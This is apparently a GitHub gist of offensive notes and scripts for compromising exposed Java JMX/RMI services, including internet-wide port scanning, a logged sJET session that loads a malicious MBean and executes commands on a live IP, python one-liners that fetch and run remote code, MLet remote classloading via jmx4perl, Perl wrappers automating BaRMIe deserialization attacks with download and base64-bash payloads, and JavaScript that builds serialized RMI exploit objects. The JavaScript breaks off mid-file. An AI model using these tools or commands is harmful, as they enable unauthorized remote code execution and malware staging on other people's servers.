Skip to content

Instantly share code, notes, and snippets.

@dbiesecke
Last active January 17, 2024 00:46
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 5 You must be signed in to fork a gist
  • Save dbiesecke/8bdce1b48a636e47c08d07e32d2bef16 to your computer and use it in GitHub Desktop.
Save dbiesecke/8bdce1b48a636e47c08d07e32d2bef16 to your computer and use it in GitHub Desktop.
jmx-rmi

Exploit JMX-RMI

search?query=X-Blackboard-product%3A+Blackboard+Learn

Application CVE Infos Port
APACHE CASSANDRA 3.8 / ZooKEEPER CVE-2018-8016 LINK 7199
NICE ENGAGE PLATFORM <= 6.5 CVE-2019-7727 6338
CISCO UNIFIED CUSTOMER VOICE PORTAL <= 11.x LINK 2098 2099
NASDAQ BWISE <= 5.x CVE-2018-11247 LINK 81

Vuln-Scan

  • Nmap : nmap --append-output -oX $HOME/Scans/nmap-new.xml --open -Pn -p 2010,8009,1098,4444,7001,99,1030,1035,1090,1098,1099,1100,1101,1102,1103,1129,1199,1234,1440,2199,2809,3273,3333,3900,5520,5521,5580,5999,6060,6789,6996,7700,7800,7801,7878,7890,8050,8051,8085,8091,8205,8303,8642,8686,8701,8889,8890,8901,8902,8903,8999,9001,9003,9004,9005,9050,9099,9300,9500,9711,9809,9810,9811,9812,9813,9814,9815,9875,9910,9991,10098,10099,10162,11001,11099,11333,12000,13013,14000,15000,15001,15200,16000,17200,18980,20000,23791,26256,31099,32913,33000,37718,45230,47001,47002,50050,50500,50501,50502,50503,50504 --version-all -sV --script='jdwp-info,rmi-*' -iL /tmp/jboss-good -v

  • Parse Output for BaRMIe

      $ cat output.grep | awk '/open/{print $2 " " $4 ""$5}' | grep "Java" | sed -r 's/Ports://g' | sed -r 's/\/open.+//g' 
      34.244.233.112 1099
      177.85.202.230 1099
      177.32.207.218 1099
      [....]
    
  • BaRMIe Scan:

      $ java -jar ~/bin/BaRMIe_v1.01.jar --targets /tmp/mx | grep -v "An exception" -2 > ~/Scans/BaRMIe.log
      
      $ cat ~/Scans/BaRMIe.log| grep "javax.management.remote.rmi.RMIServerImpl_Stub" -9 | egrep --only-matching "t ([0-9]{1,4}\.[0-9]{1,4}\.[0-9]{1,4}\.[0-9]{1,4}:[0-9]{1,6})|Name:(.*)" | xargs | sed -r 's/t /\n\.\/sjet-install.sh /g' | sed -r 's/[ ]?Name:[ ]?/ /' | egrep '[0-9]{1,4}\.[0-9]{1,4}\.[0-9]{1,4}\.[0-9]{1,4}' | sed -r 's/roo$/root/g'
      ./sjet-install.sh 3.121.223.231:1099 karaf-root
      ./sjet-install.sh 188.40.110.130:1099 jmxrmi 
      ./sjet-install.sh 136.243.36.142:1099 jmxrmi 
      [....]
    

Sjet-Hack

  • Hacking with modifed Sjet

      % ./sjet-install.sh 159.69.178.36:1099 jmxrmi         
      sJET - siberas JMX Exploitation Toolkit
      =======================================
      [+] Connecting to: service:jmx:rmi:///jndi/rmi://159.69.178.36:1099/jmxrmi
      2019-03-16 06:53:59+0100 [-] Connection made to RedirectRx
      [+] Connected: rmi://185.189.112.19  1
      [+] Loaded javax.management.loading.MLet
      [+] Loading malicious MBean from http://162.210.173.220:8080/mlet/
      [+] Invoking: javax.management.loading.MLet.getMBeansFromURL
      [+] Successfully loaded MBeanSiberas:name=payload,id=1
      [+] Changing default password...
      [+] Loaded de.siberas.lab.SiberasPayload
      [+] Successfully changed password
    
      sJET - siberas JMX Exploitation Toolkit
      =======================================
      [+] Connecting to: service:jmx:rmi:///jndi/rmi://159.69.178.36:1099/jmxrmi
      2019-03-16 06:54:08+0100 [-] Connection made to RedirectRx
      [+] Connected: rmi://185.189.112.19  2
      [+] Loaded de.siberas.lab.SiberasPayload
      [+] Executing command: whoami && dir
      bds
      backend-service.conf                    heapdump.20190225.131401.1166.0011.phd
      backend-service.jar                     javacore.20190214.090232.1167.0005.txt
      backend-service-previous.jar            javacore.20190214.090232.1167.0006.txt
      core.20190214.090232.1167.0001.dmp      javacore.20190214.090232.1167.0007.txt
      core.20190225.130541.1166.0001.dmp      javacore.20190214.090544.1167.0011.txt
      dynatrace-7.2                           javacore.20190225.130541.1166.0003.txt
      fridge-service.conf                     javacore.20190225.131330.1166.0007.txt
      fridge-service.jar                      javacore.20190225.131330.1166.0008.txt
      fridge-service-previous.jar             javacore.20190225.131401.1166.0012.txt
      heapdump.20190214.090232.1167.0002.phd  Snap.20190214.090232.1167.0008.trc
      heapdump.20190214.090232.1167.0003.phd  Snap.20190214.090232.1167.0010.trc
      heapdump.20190214.090232.1167.0004.phd  Snap.20190214.090544.1167.0013.trc
      heapdump.20190214.090544.1167.0012.phd  Snap.20190225.130541.1166.0004.trc
      heapdump.20190225.130541.1166.0002.phd  Snap.20190225.131330.1166.0009.trc
      heapdump.20190225.131330.1166.0005.phd  Snap.20190225.131330.1166.0010.trc
      heapdump.20190225.131330.1166.0006.phd  Snap.20190225.131415.1166.0013.trc
    
    
      [+] Done
      sJET - siberas JMX Exploitation Toolkit
      =======================================
      [+] Connecting to: service:jmx:rmi:///jndi/rmi://159.69.178.36:1099/jmxrmi
      2019-03-16 06:54:15+0100 [-] Connection made to RedirectRx
      [+] Connected: rmi://185.189.112.19  3
      [+] Use command 'exit_shell' to exit the shell
      >>> 
      [+] Loaded de.siberas.lab.SiberasPayload
      [+] Executing command: 
    
    
      >>> python -c "import urllib;exec urllib.urlopen(''http://konde.diskstation.me:8000/dead/oUxhFeeJe8'').read()"
      [+] Loaded de.siberas.lab.SiberasPayload
      [+] Executing command: python -c "import urllib;exec urllib.urlopen(''http://konde.diskstation.me:8000/dead/oUxhFeeJe8'').read()"
    
    
      >>> python -c "import urllib;exec urllib.urlopen('http://konde.diskstation.me:8000/dead/oUxhFeeJe8').read()"
      [+] Loaded de.siberas.lab.SiberasPayload
      [+] Executing command: python -c "import urllib;exec urllib.urlopen('http://konde.diskstation.me:8000/dead/oUxhFeeJe8').read()"
    

Install

cpanm install -n Term::ReadKey 
cpanm PJB/Term-Clui-1.70.tar.gz
cpanm install \
JSON::XS \
Term::ReadLine::Gnu \
LWP::Protocol::https \
XML::LibXML
cpanm -nf JMX::Jmx4Perl 

SSL/Proxy Bypass

  • Easy with jolokia

    jmx4perl 'http://172.93.48.216:9000/jolokia' --target service:jmx:rmi:///jndi/rmi://221.228.205.175:1099/jmxrmi list   
    
  • Check for "jmxrmi" exploit

    jmx4perl 'http://172.93.48.216:9000/jolokia' --target service:jmx:rmi:///jndi/rmi://94.130.168.200:1099/jmxrmi list DefaultDomain:type=MLet
    
  • Remote Java Classloading with MLet

    jmx4perl "http://172.17.0.1:8088/jolokia" --target 'service:jmx:rmi:///jndi/rmi://112.74.22.227:1099/jmxrmi' exec 'DefaultDomain:type=MLet' 'getMBeansFromURL(java.lang.String)' "http://162.210.173.220:8080/mlet/"
    

Jolokia

Div

  • Some handy alias

    alias jmx4perl="docker run --rm -it -v ~/.j4p:/root/.j4p jolokia/jmx4perl jmx4perl"
    alias jolokia="docker run --rm -it -v `pwd`:/jolokia jolokia/jmx4perl jolokia"
    alias j4psh="docker run --rm -it -v ~/.j4p:/root/.j4p jolokia/jmx4perl j4psh"
    

BaRMI

cat /tmp/msf-db-rhosts-20181029-13031-1cy0tl6 | parallel brut-rmi {}:1099 2

JMS

Attack JMX/RMI/JNDI

CVE-2017-12149 JBOOS AS 6.X

More Infos: Link Dork: Shodan intitle:"Welcome to JBoss AS"

#!/usr/bin/perl
use FindBin qw($Bin);
my $jar = "$Bin/BaRMIe_v1.01.jar";
die("jmxterm not found!") if( !(-f $jar));
use Expect::Simple;
die("ERROR!\n\n$0 <host:port> [attackmode]\n\n") if (@ARGV <1);
my $arg = shift;
my $payload = shift;
$payload = 1 if(@ARGV < 2);
# my $command = 'java -Xrunjdwp:transport=dt_socket,suspend=y,server=162.210.173.220:2011';
# my $command = 'curl 162.210.173.220:8080/brut-rmi';
my $command = 'ping -c 6 162.210.173.220';
# my $command = 'sh -c $@|sh . echo ping 162.210.173.220';
#my $command = 'bash -c {echo,Y3VybCAxNjIuMjEwLjE3My4yMjA6ODA4MC9icnV0LXJtaQ==}|{base64,-d}|{bash,-i}';
my ($host,$port) = split(/:/,$arg);
$port = 1099 if($port < 64000);
print "$host\t$port\n";
my $cmd = "java -jar $jar -attack $host $port" ;
my $obj = new Expect::Simple {
Cmd => $cmd,
Prompt => [ -re => '[}):]+ $' , "Enumerating 1 target(s)...","Select a payload to use" ,"Select an attack to execute (b to back up, q to quit):" ,"Select a payload to use"],
DisconnectCmd => 'exit',
Verbose => 1,
Debug => 0,
Timeout => 15,
RawPty => 1
};
# sleep(3);
$obj->send( $payload );
if ( &looping("Select a payload to use") eq true) {
}
# $text = $obj->after;
# print "$text\n";
sub looping(){
my $string = shift;
while() {
sleep(1);
print "$string\n";
if($obj->match_str, $string) {
# my $text = $obj->after;
my $text = $obj->before;
print "$text\n";
return true;
}
}
}
# }
#
# sleep(3);
# # my $text = $obj->after;
# print "$text\n";# $obj->send( "1" );
my $counter = 0;
while($counter != 2) { $counter++;
if ( &looping("Select a payload to use") eq true) {
$obj->send( 1 );
# $text = $obj->after; print "$text\n";
if ( &looping("Select a payload to use") eq true) {
# $text = $obj->after; print "$text\n";
$obj->send( 1 );
#sleep(1);$obj->send( "1" );
# $text = $obj->after; print "$text\n";
if ( &looping("a) Try all available deserialization payloads") eq true) {
$obj->send( a );
if ( &looping("Enter an OS command to execute") eq true) {
# $obj->send( 'wget 0b662d10.ngrok.io' );
$obj->send( $command );
while($counter != 2) {
if ( &looping("a) Try all available deserialization payloads") eq true) {
# if ( &looping("Select a payload to use") eq true) {
$obj->send( a );
# }
}
if ( &looping("a) Try all available deserialization payloads") eq true) {
# if ( &looping("Select a payload to use") eq true) {
$obj->send( a );
# }
};
if ( &looping("Enter an OS command to execute") eq true) {
$obj->send( $command);
};
if ( &looping("Payload delivered, continue trying payloads") eq true) {
$obj->send( A );
sleep(2);
};
# if ( &looping("Payload delivered, continue trying payloads") eq true) {
# $obj->send( A );
# };
if ( &looping("Select a payload to use ") eq true ) {
# sleep(5);
$obj->send( 'q' );
};
# my $text = $obj->after;
# # print $text."\n";
$counter = 2;
# }
}
# if ( &looping("a) Try all available deserialization payloads") eq true) {
# if ( &looping("Select a payload to use") eq true) {
# $obj->send( "a" );
# }
# }
}
}
}
}
}
#Select a payload to use
# sleep(5);
#
# $obj->send( "Y" );
# &looping();
# while (prompt( -in => *STDIN , -out => *STDOUT )) {
# # next if (!($_));
# my $res = $_;
# chomp($res);
# warn $@ if $@;
#
# $obj->send( $res );
# my $text = $obj->before;
#
# print STDERR "$text";
#
# }
#
#
# close JMX;
#!/usr/bin/perl
use FindBin qw($Bin);
my $jar = "$Bin/jmxterm.bin";
if( !(-f $jar)) {
die("jmxterm not found!");
}
#
#
use IO::Prompter;
use Expect::Simple;
die("ERROR!\n\n$0 <host> <port>\n\n") if (@ARGV <2);
my $host = shift;
my $port = shift;
# my $lhost = '178.162.209.171';
# my $lport = '28763';
my $cmd = "$jar -- --nox11 -q --noprogress";
my $obj = new Expect::Simple {
Cmd => $cmd,
Prompt => [ -re => '\$>' , -re => '[\s]?>[\s ]?' , "Stage terminated.\n", "Disconnecting."],
DisconnectCmd => 'exit',
Verbose => 1,
Debug => 0,
Timeout => 10,
RawPty => 1
};
while (prompt( -in => *STDIN )) {
next if (!($_));
my $res = $_;
warn $@ if $@;
$obj->send( $res );
my $text = $obj->before;
print "[X]\t $res\n$text\n";
}
close JMX;
#!/usr/bin/perl
use FindBin qw($Bin);
use File::Temp qw/ :mktemp /;
my $jar = "$Bin/jmxterm-1.0.0-uber.jar";
die("jmxterm not found!") if( !(-f $jar));
die("ERROR!\n\n$0 <host:port> \n\n") if (@ARGV <1);
my $arg = shift;
my ($host,$port) = split(/:/,$arg);
$port = 1099 if($port < 64000);
# print "$host\t$port\n";
# open JMX, "| java -jar $jar -n";
# print JMX "help \n";
# &execJmx("run -d DefaultDomain -b Users:type=UserDatabase,database=UserDatabase createUser monitor testting");
my (@version) = &execJmx("get -b java.lang:type=OperatingSystem Name Arch Version -n -s -l -") or die("error on connect $?");
print "[X] Connected $host:$port\t@version\n";
my (@mlet) = &execJmx("run -b DefaultDomain:type=MLet getMBeansFromURL http://162.210.173.220:8080/");
# if($mlet[0] == -1) { print "[ERROR]\t$mlet[1]\n" }else { print "[X] @mlet $?\n"; }
if($mlet[0] == -1) { print "[ERROR]\t$mlet[1]\n" }else { print "[X] @mlet\n"; }
(@mlet) = &execJmx("domains");
if($mlet[0] == -1) { print "[ERROR]\t$mlet[1]\n" }else { print "[X] @mlet\n"; }
(@mlet) = &execJmx("beans");
if($mlet[0] == -1) { print "[ERROR]\t$mlet[1]\n" }else { print "[X] @mlet\n"; }
#{
# print "[X] $_\n";
# }
exit;
# print JMX "open $host:$port\n";
# print "[X] --- DOMAINS --- \n";
# print JMX "domains\n";
# print "[X] --- BEANS --- \n";
# print JMX "run -b DefaultDomain:type=MLet getMBeansFromURL http://home.forward.pw:80/mlet/";
# print JMX "run -d DefaultDomain -b Users:type=UserDatabase,database=UserDatabase createUser monitor testting";
# print JMX "close\n";
# close JMX;
# ($fh, $file) = mkstemps( "tmpfileXXXXXX", $suffix);
sub execJmx(){
my $command = shift;
my ($fh, $file) = mkstemp( "/tmp/tmpfileXXXXX" );
my $cmd = "echo $command | java -jar $jar -o $file -n -l $host:$port -e 2>/dev/null" ; # anything to stdout
my $ret = `$cmd`;
# my $exit = system( $cmd ) ;
if($?) { return (-1,"$?") }
open(FILE,$file);
my @input = <FILE>;
close(FILE);
# while(<READER>){
# print "$_\n";
# }
#print "@input\n" ;
system("rm $file");
return (@input);
# print "Exit:$exit\t File:$file\n";
# }
}
// primitive types
// * B byte
// * C char
// * D double
// * F float
// * I int
// * J long
// * L class or interface
// * S short
// * Z boolean
// * [ array
var S = require('string');
var XMLHttpRequest = require("xmlhttprequest").XMLHttpRequest;
var oReq = new XMLHttpRequest();
var lastreq = "n/a";
var net = require('net');
var util = require('util')
require('yargs')
var argv = process.argv;
require('yargs')
.usage('$0 <exploit|generate> <host> [options]')
.option('shost',{ default: "162.210.173.220" , describe: "Host who serve the payload" } )
.option('sport',{ default: "5555" , describe: "Port on host who serve the payload" } )
.option('service',{ default: "registry" , describe: "use 'registry' or " } )
.option('debug',{ default: false , describe: "turn debug output on" } )
.option('payload',{ default: "jrmp_client" , describe: "use 'jrmp_client' or 'beanutils_jndi'" } )
.command('exploit <host> [url]', 'Attack Host', (yargs) => {
yargs.positional('url', {
type: 'string',
// default: 'ldap://' + argv.shost + ':'+ argv.sport +'/obj',
describe: 'ldap to serve payload'
})
}, function (argv) {
var host = getHostFromHoststr(argv.host);
var port = parseInt(getPortFromHoststr(argv.host));
// getPortFromHoststr(argv.host);
var url = 'ldap://' + argv.shost + ':'+ argv.sport +'/obj';
if(argv.url) {
url = argv.url
if (argv.debug === true) { console.log(argv.shost , '\tLDAP:', url, '\tHost '+ host ); }
}
lastreq = host + ":" + port + '\t' + argv.service + '\t' + argv.payload;
// console.log(lastreq);
go_jmx_cli(host,port,argv.service,argv.payload,argv.shost,argv.sport);
return;
})
.help()
.argv
function Null() {
}
function Boolean(val) {
this.isTrue = val == true;
this.typeCode = 'Z';
this.primitive = true;
this.write = function(out) {
if (val == true) {
out.writeByte(1)
} else {
out.writeByte(0);
}
}
}
function Byte(val) {
this.val = val;
this.typeCode = 'B';
this.primitive = true;
this.write = function(out) {
out.writeByte(val);
}
}
function Short(val) {
this.val = val;
this.typeCode = 'S';
this.primitive = true;
this.write = function(out) {
out.writeByte((val >> 8) & 0xFF);
out.writeByte(val & 0xFF);
}
}
function Char(val) {
this.val = val;
this.typeCode = 'C';
this.primitive = true;
this.write = function(out) {
out.writeByte((val >> 8) & 0xFF);
out.writeByte(val & 0xFF);
}
}
function Integer(val) {
this.val = val;
this.typeCode = 'I';
this.primitive = true;
this.write = function(out) {
out.writeByte((val >> 24) & 0xFF);
out.writeByte((val >> 16) & 0xFF);
out.writeByte((val >> 8) & 0xFF);
out.writeByte(val & 0xFF);
}
}
function Long(high, low) {
this.high = high;
this.low = low;
this.typeCode = 'J';
this.primitive = true;
this.write = function(out) {
out.writeByte((high >> 24) & 0xFF);
out.writeByte((high >> 16) & 0xFF);
out.writeByte((high >> 8) & 0xFF);
out.writeByte(high & 0xFF);
out.writeByte((low >> 24) & 0xFF);
out.writeByte((low >> 16) & 0xFF);
out.writeByte((low >> 8) & 0xFF);
out.writeByte(low & 0xFF);
}
}
function Float(val) {
this.val = val;
this.typeCode = 'F';
this.primitive = true;
this.write = function(out) {
throw "Unimplemented";
}
}
function Double(val) {
this.val = val;
this.typeCode = 'D';
this.primitive = true;
this.write = function(out) {
throw "Unimplemented";
}
}
function Array(type, vals) {
this.type = type;
this.vals = vals;
this.typeCode = '[';
this.primitive = false;
this.write = function(out) {
new Integer(vals.length).write(out);
for (var i = 0; i < vals.length; i++) {
vals[i].write(out);
}
}
}
function String(val) {
this.val = val;
this.primitive = false;
this.writeBytes = function(out) {
for (var i = 0; i < val.length; i++) {
out.writeByte(val.charCodeAt(i) & 0xFF);
}
}
this.writeChars = function(out) {
for (var i = 0; i < val.length; i++) {
out.writeChar(val.charCodeAt(i) & 0xFFFF);
}
}
this.writeUTF = function(out) {
var utf8b = this.encodeUTF();
for (var i = 0; i < utf8b.length; i++) {
out.writeByte(utf8b.charCodeAt(i) & 0xFF);
}
}
this.encodeUTF = function() {
// per
// http://ecmanaut.blogspot.de/2006/07/encoding-decoding-utf8-in-javascript.html
return unescape(encodeURIComponent(val));
}
}
function Enum(val) {
this.primitive = false;
}
function Class(name) {
this.primitive = false;
this.name = name;
}
function ObjectStreamField(name, val) {
this.name = name;
this.val = val;
this.unshared = false;
}
function ObjectStreamClass(name, serialHigh, serialLow, fields, opts) {
this.class = new Class(name);
this.superClass = null;
this.primitive = false;
this.proxy = false;
this.enum = false;
this.serialVersionHigh = serialHigh;
this.serialVersionLow = serialLow;
this.fields = fields;
for ( var key in opts) {
if (opts.hasOwnProperty(key)) {
this[key] = opts[key];
}
}
var SC_WRITE_METHOD = 0x01;
var SC_BLOCK_DATA = 0x08;
var SC_SERIALIZABLE = 0x02;
var SC_EXTERNALIZABLE = 0x04;
var SC_ENUM = 0x10;
this.write = function(out) {
out.writeUTF(name);
new Long(this.serialVersionHigh, this.serialVersionLow).write(out);
var flags = 0;
if ('writeExternal' in this) {
flags |= SC_EXTERNALIZABLE;
if (out.protocol != 1) {
flags |= SC_BLOCK_DATA;
}
} else {
flags |= SC_SERIALIZABLE;
}
if ('writeObject' in this) {
flags |= SC_WRITE_METHOD;
}
if (this.enum) {
flags |= SC_ENUM;
}
out.writeByte(flags);
new Short(this.fields.length).write(out);
for (var i = 0; i < this.fields.length; i++) {
var f = this.fields[i];
var tc = 0;
if ('typeString' in f) {
tc = f.typeString.charCodeAt(0);
} else {
tc = f.typeCode.charCodeAt(0);
}
out.writeByte(tc);
out.writeUTF(f.name);
if ('typeString' in f) {
out.writeTypeString(f.typeString);
}
}
}
this.getClassDataLayout = function() {
if ( this.superClass ) {
var r = this.superClass.getClassDataLayout();
r.push(this);
return r;
}
return [ this ];
}
this.writePrimitives = function(out, vals) {
var buf = new DataOutput([]);
for (var i = 0; i < this.fields.length; i++) {
if (!('typeString' in this.fields[i])) {
var v;
if ( this.fields[i].name in vals ) {
v = vals[this.fields[i].name];
}
else {
var tc = this.fields[i].typeCode;
if ( tc == 'I') {
v = new Integer(0);
} else if ( tc == 'Z' ) {
v = new Boolean(false);
} else if ( tc == 'B' ) {
v = new Byte(0);
} else if ( tc == 'S' ) {
v = new Short(0);
} else if ( tc == 'C' ) {
v = new Char(0);
} else if ( tc == 'L' ) {
v = new Long(0);
} else {
throw "Missing primitive value " + this.fields[i].name;
}
}
v.write(buf);
}
}
out.writeBytes(buf.out);
}
this.getObjectFieldDescriptors = function() {
var res = [];
for (var i = 0; i < this.fields.length; i++) {
if ('typeString' in this.fields[i]) {
res.push(this.fields[i]);
}
}
return res;
}
}
function Object(clazz, fieldVals) {
this.clazz = clazz;
this.typeCode = 'L';
this.values = fieldVals;
}
function DataOutput(out) {
this.out = out;
this.written = 0;
this.writeByte = function(b) {
this.out.push(b);
this.written++;
}
this.writeBytes = function(bs) {
this.out.push.apply(this.out, bs);
this.written += bs.length;
}
}
function ObjectHandles() {
this.handles = []
this.clear = function() {
}
this.assign = function(obj) {
if (obj == null || this.handles.indexOf(obj) < 0) {
return;
}
this.handles.push(obj);
}
this.lookup = function(obj) {
return this.handles.indexOf(obj);
}
}
function ObjectOutput(out, opts) {
var STREAM_MAGIC = 0xaced;
var STREAM_VERSION = 5;
var TC_BASE = 0x70;
var TC_NULL = 0x70;
var TC_REFERENCE = 0x71;
var TC_CLASSDESC = 0x72;
var TC_OBJECT = 0x73;
var TC_STRING = 0x74;
var TC_ARRAY = 0x75;
var TC_CLASS = 0x76;
var TC_BLOCKDATA = 0x77;
var TC_ENDBLOCKDATA = 0x78;
var TC_RESET = 0x79;
var TC_BLOCKDATALONG = 0x7A;
var TC_EXCEPTION = 0x7B;
var TC_LONGSTRING = 0x7C;
var TC_PROXYCLASSDESC = 0x7D;
var TC_ENUM = 0x7E;
var TC_MAX = 0x7E;
var baseWireHandle = 0x7e0000;
this.blockMode = true;
this.blockBuf = [];
this.blockPos = 0;
this.depth = 0;
this.handles = new ObjectHandles();
this.protocol = 2;
for ( var key in opts) {
if (opts.hasOwnProperty(key)) {
this[key] = opts[key];
}
}
this.writeHeader = function() {
new Short(STREAM_MAGIC).write(out);
new Short(STREAM_VERSION).write(out);
}
this.setBlockMode = function(bm) {
var obm = this.blockMode;
if (obm == bm) {
return obm;
}
this.flush();
this.blockMode = bm;
return obm;
}
this.flush = function() {
if (this.blockPos == 0) {
return;
}
if (this.blockMode) {
this.writeBlockHeader(this.blockPos);
}
out.writeBytes(this.blockBuf);
this.blockBuf = [];
this.blockPos = 0;
}
this.clear = function() {
this.handles.clear();
}
this.writeBlockHeader = function(len) {
if (len <= 0xFF) {
out.writeByte(TC_BLOCKDATA);
out.writeByte(len);
} else {
out.writeByte(TC_BLOCKDATALONG);
new Integer().write(out);
}
}
this.writeByte = function(b) {
if (this.blockMode) {
this.blockBuf.push(b);
this.blockPos += 1;
} else {
out.writeByte(b);
}
}
this.writeBytes = function(bs) {
if (this.blockMode) {
this.blockBuf += bs;
this.blockPos += bs.length;
} else {
out.writeBytes(bs);
}
}
this.writeNull = function() {
this.writeByte(TC_NULL);
}
this.writeHandle = function(handle) {
this.writeByte(TC_REFERENCE);
new Integer(baseWireHandle + handle).write(out);
}
this.writeClass = function(clazz, unshared) {
this.writeByte(TC_CLASS);
this.writeClassDesc(ObjectStreamClass.lookup(cl, true), false);
this.handles.assign(unshared ? null : cl);
}
this.writeClassDesc = function(desc, unshared) {
var handle;
if (desc == null) {
this.writeNull();
} else if (!unshared && (handle = this.handles.lookup(desc)) != -1) {
this.writeHandle(handle);
} else if (desc.proxy) {
this.writeProxyDesc(desc, unshared);
} else {
this.writeNonProxyDesc(desc, unshared);
}
}
this.writeProxyDesc = function(desc, unshared) {
this.writeByte(TC_PROXYCLASSDESC);
this.handles.assign(unshared ? null : desc);
var cl = desc.forClass();
var ifaces = cl.getInterfaces();
bout.writeInt(ifaces.length);
for (var i = 0; i < ifaces.length; i++) {
this.writeUTF(ifaces[i].getName(), true);
}
// empty annotation block
this.setBlockMode(true);
if ('annotateProxyClass' in this) {
this.annotateProxyClass(desc.class);
}
this.setBlockMode(false);
out.writeByte(TC_ENDBLOCKDATA);
this.writeClassDesc(desc.superClass, false);
}
this.writeNonProxyDesc = function(desc, unshared) {
this.writeByte(TC_CLASSDESC);
this.handles.assign(unshared ? null : desc);
desc.write(this);
// empty annotation block
this.setBlockMode(true);
if ('annotateClass' in this) {
this.annotateClass(desc.class);
}
this.setBlockMode(false);
out.writeByte(TC_ENDBLOCKDATA);
this.writeClassDesc(desc.superClass, false);
}
this.writeString = function(str, unshared) {
this.handles.assign(unshared ? null : str);
var utflen = unescape(encodeURIComponent(str)).length;
if (utflen <= 0xFFFF) {
this.writeByte(TC_STRING);
this.writeUTFLen(str, utflen);
} else {
this.writeByte(TC_LONGSTRING);
this.writeLongUTF(str, utflen);
}
}
this.writeUTF = function(str) {
this.writeUTFLen(str, unescape(encodeURIComponent(str)).length);
}
this.writeUTFLen = function(str, len) {
if (len > 0xFFFF) {
throw "Length exceeded";
}
new Short(len).write(this);
if (len == str.length) {
new String(str).writeBytes(this);
} else {
throw "Unimplemented (non-ASCII string)";
// process.stdout.write("hello: " + S(len + "\n" + str) );
}
}
this.writeLongUTF = function(str, len) {
new Long(len).write(this);
if (len == str.length) {
str.writeBytes(this);
} else {
throw "Unimplemented (non-ASCII string)";
}
}
this.writeEnum = function(en, desc, unshared) {
this.writeByte(TC_ENUM);
var sdesc = desc.getSuperDesc();
writeClassDesc((sdesc.forClass() == Enum.class) ? desc : sdesc, false);
this.handles.assign(unshared ? null : en);
this.writeString(en.name(), false);
}
this.writeArray = function(array, desc, unshared) {
this.writeByte(TC_ARRAY);
this.writeClassDesc(desc, false);
this.handles.assign(unshared ? null : array);
var ccl = desc.forClass().getComponentType();
if (ccl.isPrimitive()) {
array.write(this);
} else {
var len = array.length;
new Integer(len).write(this);
for (var i = 0; i < len; i++) {
writeObject0(objs[i], false);
}
}
}
this.writeObject = function(obj) {
this.writeObject0(obj, false);
}
this.writeObject0 = function(obj, unshared) {
var obm = this.setBlockMode(false);
this.depth++;
try {
if (obj instanceof Null) {
this.writeNull();
return;
} else if (!unshared && (h = this.handles.lookup(obj)) != -1) {
this.writeHandle(h);
return;
} else if (obj instanceof Class) {
this.writeClass(obj, unshared);
return;
} else if (obj instanceof ObjectStreamClass) {
this.writeClassDesc(obj, unshared);
return;
}
// writeReplace
if (obj instanceof String) {
this.writeString(obj.val, unshared);
} else if (obj instanceof Array) {
this.writeArray(obj, obj.clazz, unshared);
} else if (obj instanceof Enum) {
this.writeEnum(obj, obj.clazz, unshared);
} else {
this.writeOrdinaryObject(obj, obj.clazz, unshared);
}
} finally {
this.depth--;
this.setBlockMode(obm);
}
}
this.writeOrdinaryObject = function(obj, desc, unshared) {
this.writeByte(TC_OBJECT);
this.writeClassDesc(desc, false);
this.handles.assign(unshared ? null : obj);
if ('writeExternal' in desc && !desc.proxy) {
this.writeExternalData(obj, desc);
} else {
this.writeSerialData(obj, desc);
}
}
this.writeSerialData = function(obj, desc) {
var slots = desc.getClassDataLayout();
for (var i = 0; i < slots.length; i++) {
var slotDesc = slots[i];
if ('writeObject' in slotDesc) {
this.setBlockMode(true);
slotDesc.writeObject(this, obj, desc);
this.setBlockMode(false);
out.writeByte(TC_ENDBLOCKDATA);
} else {
this.defaultWriteFields(obj, slotDesc);
}
}
}
this.writeExternalData = function(obj, desc) {
if (this.protocol == 1) {
desc.writeExternal(this, obj);
} else {
this.setBlockMode(true);
this.setBlockMode(false);
out.writeByte(TC_ENDBLOCKDATA);
}
}
this.writeFatalException = function(ex) {
clear();
var oldMode = this.setBlockMode(false);
try {
this.writeByte(TC_EXCEPTION);
this.writeObject0(ex, false);
clear();
} finally {
this.setBlockMode(oldMode);
}
}
this.defaultWriteObject = function(obj, desc) {
this.setBlockMode(false);
this.defaultWriteFields(obj, desc);
this.setBlockMode(true);
}
this.defaultWriteFields = function(obj, desc) {
var cl = desc.clazz;
if (cl != null && obj != null && !cl.isInstance(obj)) {
throw new ClassCastException();
}
desc.writePrimitives(this,obj.values);
var objVals = desc.getObjectFieldDescriptors(obj);
for (var i = 0; i < objVals.length; i++) {
var fdesc = objVals[i];
if ( fdesc.name in obj.values ) {
this.writeObject0(obj.values[fdesc.name], fdesc.unshared);
} else {
this.writeObject0(new Null(), fdesc.unshared);
}
}
}
this.writeTypeString = function(type) {
if (type == null) {
this.writeNull();
} else if ((handle = this.handles.lookup(type)) != -1) {
this.writeHandle(handle);
} else {
this.writeString(type, false);
}
}
}
function encode_dgc_dirty(args) {
// Dgc.dirty
return encode_call(0, 2, 1, 4139157901, 2347927107, args);
}
function encode_registry_lookup(args) {
// Registry.lookup
return encode_call(0, 0, 2, 1142246857, 3571858399, args);
}
function encode_call(objIdHigh, objIdLow, methodId, methodHashHigh,
methodHashLow, args) {
var bytes = [];
var dos = new DataOutput(bytes);
new Integer(1246907721).write(dos); // Magic == JRMI
new Short(2).write(dos); // Version - 2
new Byte(76).write(dos); // SingleOpProtocol
new Byte(80).write(dos); // Type = Call
// this is the Connection/MarshalOutputStream setup for JRMP/RMI
var oos = new ObjectOutput(dos, {
'protocol' : 1,
'annotateClass' : function(cl) {
this.writeObject(new Null()); // location
},
'annotateProxyClass' : function(cl) {
this.writeObject(new Null()); // location
}
});
oos.writeHeader();
new Long(objIdHigh, objIdLow).write(oos); // objId
new Integer(0).write(oos); // UID - unique
new Long(0, 0).write(oos); // UID - time
new Short(0).write(oos); // UID - count
new Integer(methodId).write(oos);
new Long(methodHashHigh, methodHashLow).write(oos);
for (var i = 0; i < args.length; i++) {
oos.writeObject(args[i]);
}
oos.flush();
return bytes;
}
function encode_object(obj) {
var bytes = [];
var dos = new DataOutput(bytes);
var oos = new ObjectOutput(dos, {});
oos.writeHeader();
oos.writeObject(obj);
oos.flush();
return bytes;
}
function encode_hex(bytes) {
var hex = "";
for (var i = 0; i < bytes.length; i++) {
var b = bytes[i].toString(16);
if (b.length == 1) {
b = "0" + b;
}
hex += b;
}
return hex;
}
// from http://www.webtoolkit.info/javascript-base64.html
// LICENSE WARNING: the original function is licensed CC BY 2.0 UK
var B64_chrs = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
